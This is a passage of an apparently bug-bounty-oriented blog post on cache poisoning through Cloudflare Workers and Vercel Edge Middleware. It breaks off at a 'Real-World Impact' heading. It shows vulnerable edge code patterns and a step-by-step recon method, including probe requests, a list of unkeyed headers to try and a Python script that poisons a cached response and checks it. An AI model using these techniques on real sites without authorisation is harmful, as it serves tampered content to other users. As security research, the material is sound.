&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Edge Worker isn't passive. It &lt;strong&gt;intercepts, mutates, and re-emits&lt;/strong&gt; requests. It can add headers, strip headers, rewrite URLs, and call &lt;code&gt;cache.put()&lt;/code&gt; with whatever it wants. The CDN layer above it may or may not key on what the Worker produces vs. what the client sent.&lt;/p&gt;

&lt;p&gt;This is where things get interesting.&lt;/p&gt;




&lt;h2&gt;
  
  
  Attack Surface #1: Worker-Injected Headers Becoming Unkeyed Cache Inputs
&lt;/h2&gt;

&lt;p&gt;Here's a classic Cloudflare Worker pattern you'll see in the wild:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;fetch&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;respondWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;handleRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handleRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;country&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;country&lt;/span&gt;  &lt;span class="c1"&gt;// Cloudflare geo header&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;newRequest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;X-User-Country&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;country&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;X-Worker-Version&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2.1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;newRequest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looks harmless. The Worker adds geo data and a version header before forwarding to origin.&lt;/p&gt;

&lt;p&gt;Now ask: &lt;strong&gt;what does the origin do with &lt;code&gt;X-User-Country&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If the origin reflects it — say, in a &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag, a redirect URL, or a localized asset path — and the CDN cache doesn't include it in the cache key, you have a poisoning vector. But it's weirder than classic poisoning, because:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The Worker is the one injecting the header, not you directly&lt;/li&gt;
&lt;li&gt;The CDN is caching &lt;em&gt;the Worker's response&lt;/em&gt;, not the origin's raw response&lt;/li&gt;
&lt;li&gt;The cache key is computed on what the &lt;em&gt;client&lt;/em&gt; sent, before the Worker touched anything&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So you need to find what you can send to influence what the Worker injects. &lt;code&gt;cf.country&lt;/code&gt; isn't spoofable — but what about other &lt;code&gt;request.cf&lt;/code&gt; properties? What about Worker logic that reads &lt;code&gt;User-Agent&lt;/code&gt;, &lt;code&gt;Cookie&lt;/code&gt;, or custom headers you &lt;em&gt;can&lt;/em&gt; control, and then passes them downstream in a way the cache doesn't key on?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The hunt:&lt;/strong&gt; Find Worker logic that maps attacker-controlled input → injected header → reflected origin response → cached by CDN.&lt;/p&gt;




&lt;h2&gt;
  
  
  Attack Surface #2: The &lt;code&gt;cache.put()&lt;/code&gt; API Is a Direct Poisoning Primitive
&lt;/h2&gt;

&lt;p&gt;Cloudflare Workers give you direct access to the Cache API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cache&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;caches&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handleRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;waitUntil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is Worker-managed caching — the Worker explicitly decides what gets cached and under what key.&lt;/p&gt;

&lt;p&gt;Here's the problem: &lt;code&gt;cache.put(request, response)&lt;/code&gt; uses the &lt;strong&gt;request URL as the cache key&lt;/strong&gt; by default. If the Worker constructs that request URL using attacker-controlled input without sanitization, you can poison the cache for arbitrary URLs.&lt;/p&gt;

&lt;p&gt;Real example pattern:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Worker reading a header to build cache key&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;variant&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;X-Experiment-Variant&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;control&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cacheKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;?variant=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;variant&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cacheKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;X-Experiment-Variant&lt;/code&gt; isn't stripped or validated, and other users hit a URL that resolves to the same cache key — you've just poisoned their response.&lt;/p&gt;

&lt;p&gt;This is Cache Poisoning via &lt;strong&gt;cache key construction&lt;/strong&gt;, and it's almost entirely absent from existing research because the Cache API didn't exist in traditional CDN setups.&lt;/p&gt;




&lt;h2&gt;
  
  
  Attack Surface #3: Vercel Edge Middleware and the Header Forwarding Gap
&lt;/h2&gt;

&lt;p&gt;Vercel's Edge Middleware runs before routing and caching. A typical &lt;code&gt;middleware.ts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;next/server&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;NextRequest&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;next/server&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;NextRequest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

  &lt;span class="c1"&gt;// Forward client hint headers to origin&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dpr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;DPR&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dpr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;X-Client-DPR&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dpr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This forwards the &lt;code&gt;DPR&lt;/code&gt; (Device Pixel Ratio) client hint as a custom header. If the origin uses &lt;code&gt;X-Client-DPR&lt;/code&gt; to serve different image variants, and Vercel's cache doesn't include it in the cache key, you have a poisoning vector.&lt;/p&gt;

&lt;p&gt;But here's the Vercel-specific wrinkle: &lt;strong&gt;Vercel's caching layer sits above the middleware.&lt;/strong&gt; So the cache may serve a cached response without ever running the middleware again. The attacker's poisoned &lt;code&gt;X-Client-DPR&lt;/code&gt; value gets baked into the cached response and served to everyone who hits that route.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;Vary&lt;/code&gt; header is supposed to fix this. But in practice:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Middleware often adds headers that aren't listed in &lt;code&gt;Vary&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Vercel's ISR (Incremental Static Regeneration) has its own caching logic that can override &lt;code&gt;Vary&lt;/code&gt; behavior&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Cache-Control: s-maxage&lt;/code&gt; on the origin response can cause Vercel to cache aggressively regardless&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Testing approach:&lt;/strong&gt; Send requests with varied values for any header the middleware reads. Check if the response changes. Then check if that changed response gets cached and served to a request that &lt;em&gt;didn't&lt;/em&gt; send that header.&lt;/p&gt;




&lt;h2&gt;
  
  
  Attack Surface #4: Stale-While-Revalidate Race Conditions at the Edge
&lt;/h2&gt;

&lt;p&gt;Both Cloudflare and Vercel support &lt;code&gt;stale-while-revalidate&lt;/code&gt;. The idea is simple: serve the stale cached response immediately, revalidate in the background.&lt;/p&gt;

&lt;p&gt;At the edge, this creates a poisoning race:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;T=0  Attacker sends poisoned request → Worker processes → response cached
T=1  Cache TTL expires → stale response still served to users
T=2  Background revalidation fires → Worker re-fetches... but from where?
T=3  If attacker can influence the revalidation request, they re-poison
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attack is about &lt;strong&gt;poisoning the revalidation&lt;/strong&gt;, not the initial request. During the SWR window, the cache is stale and a background request goes out to refresh it. In some Worker configurations, that background request inherits context from the last request — including headers.&lt;/p&gt;

&lt;p&gt;This is tricky to exploit in the wild but the primitive exists. The research on SWR race conditions in edge environments is essentially zero.&lt;/p&gt;




&lt;h2&gt;
  
  
  Attack Surface #5: Multi-Region Edge Cache Incoherence
&lt;/h2&gt;

&lt;p&gt;Cloudflare's network has 300+ PoPs. Vercel deploys to ~30 edge regions. Each region maintains its own cache.&lt;/p&gt;

&lt;p&gt;Here's a scenario that doesn't exist in single-origin setups:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Attacker targets &lt;code&gt;fra01&lt;/code&gt; (Frankfurt edge node) with a poisoned request&lt;/li&gt;
&lt;li&gt;Legitimate users in Frankfurt get the poisoned response&lt;/li&gt;
&lt;li&gt;Users in &lt;code&gt;sin01&lt;/code&gt; (Singapore) are fine — different cache&lt;/li&gt;
&lt;li&gt;The Frankfurt cache replicates to nearby nodes as traffic increases&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is &lt;strong&gt;geographically targeted cache poisoning&lt;/strong&gt;. An attacker who knows a target's user base is concentrated in a region can poison just that region's edge cache. Security scanners checking from the US won't see anything wrong.&lt;/p&gt;

&lt;p&gt;Tools to test this: route your requests through different VPN exit nodes and compare response hashes. If they differ, cache coherence is broken — and possibly exploitable.&lt;/p&gt;




&lt;h2&gt;
  
  
  Practical Recon: How to Hunt This
&lt;/h2&gt;

&lt;p&gt;Here's a systematic approach for edge-specific cache poisoning recon:&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Identify the Edge Runtime
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;target.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for response headers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;CF-Cache-Status: HIT/MISS&lt;/code&gt; → Cloudflare&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;X-Vercel-Cache: HIT/MISS&lt;/code&gt; → Vercel&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;X-Served-By&lt;/code&gt; → Fastly&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Server: cloudflare&lt;/code&gt; → Cloudflare Workers&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 2: Map the Request Mutation Surface
&lt;/h3&gt;

&lt;p&gt;Send a request and look at what the origin received (if you have access to origin logs, or reflect them in responses). What headers got added? What got stripped? What got rewritten?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/debug-echo&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;target.com&lt;/span&gt;
&lt;span class="na"&gt;X-Custom-Test&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;poisontest123&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;poisontest123&lt;/code&gt; shows up anywhere in the response, you have reflection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Identify What's Keyed vs Unkeyed
&lt;/h3&gt;

&lt;p&gt;Use Param Miner (Burp extension) — it works on edge endpoints too. But also manually test:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;CF-Connecting-IP&lt;/code&gt; (often unkeyed)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;True-Client-IP&lt;/code&gt; (Cloudflare-specific)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;X-Forwarded-Host&lt;/code&gt; (classic, still works)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;X-Forwarded-Scheme&lt;/code&gt; (surprisingly common)&lt;/li&gt;
&lt;li&gt;Client hints: &lt;code&gt;DPR&lt;/code&gt;, &lt;code&gt;Width&lt;/code&gt;, &lt;code&gt;Viewport-Width&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Accept-Language&lt;/code&gt; (localization logic)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 4: Test Cache API Keying
&lt;/h3&gt;

&lt;p&gt;If the site uses Cloudflare Workers, look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;URL parameters that change the response but might share a cache key&lt;/li&gt;
&lt;li&gt;Cookie values that influence routing but aren't in the cache key&lt;/li&gt;
&lt;li&gt;Any A/B testing or experiment headers&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 5: Verify with Timing
&lt;/h3&gt;

&lt;p&gt;A cache hit is faster than a miss. Use timing differences to confirm your poisoned response is cached:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;

&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://target.com/path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;X-Test&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;payload&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Poison
&lt;/span&gt;&lt;span class="n"&gt;r1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;t0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Check if cached (without headers)
&lt;/span&gt;&lt;span class="n"&gt;r2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;t1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Cache status: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;CF-Cache-Status&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Response time: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;t1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;t0&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Payload in response: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;payload&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Real-World Impact
&lt;/h2&gt;

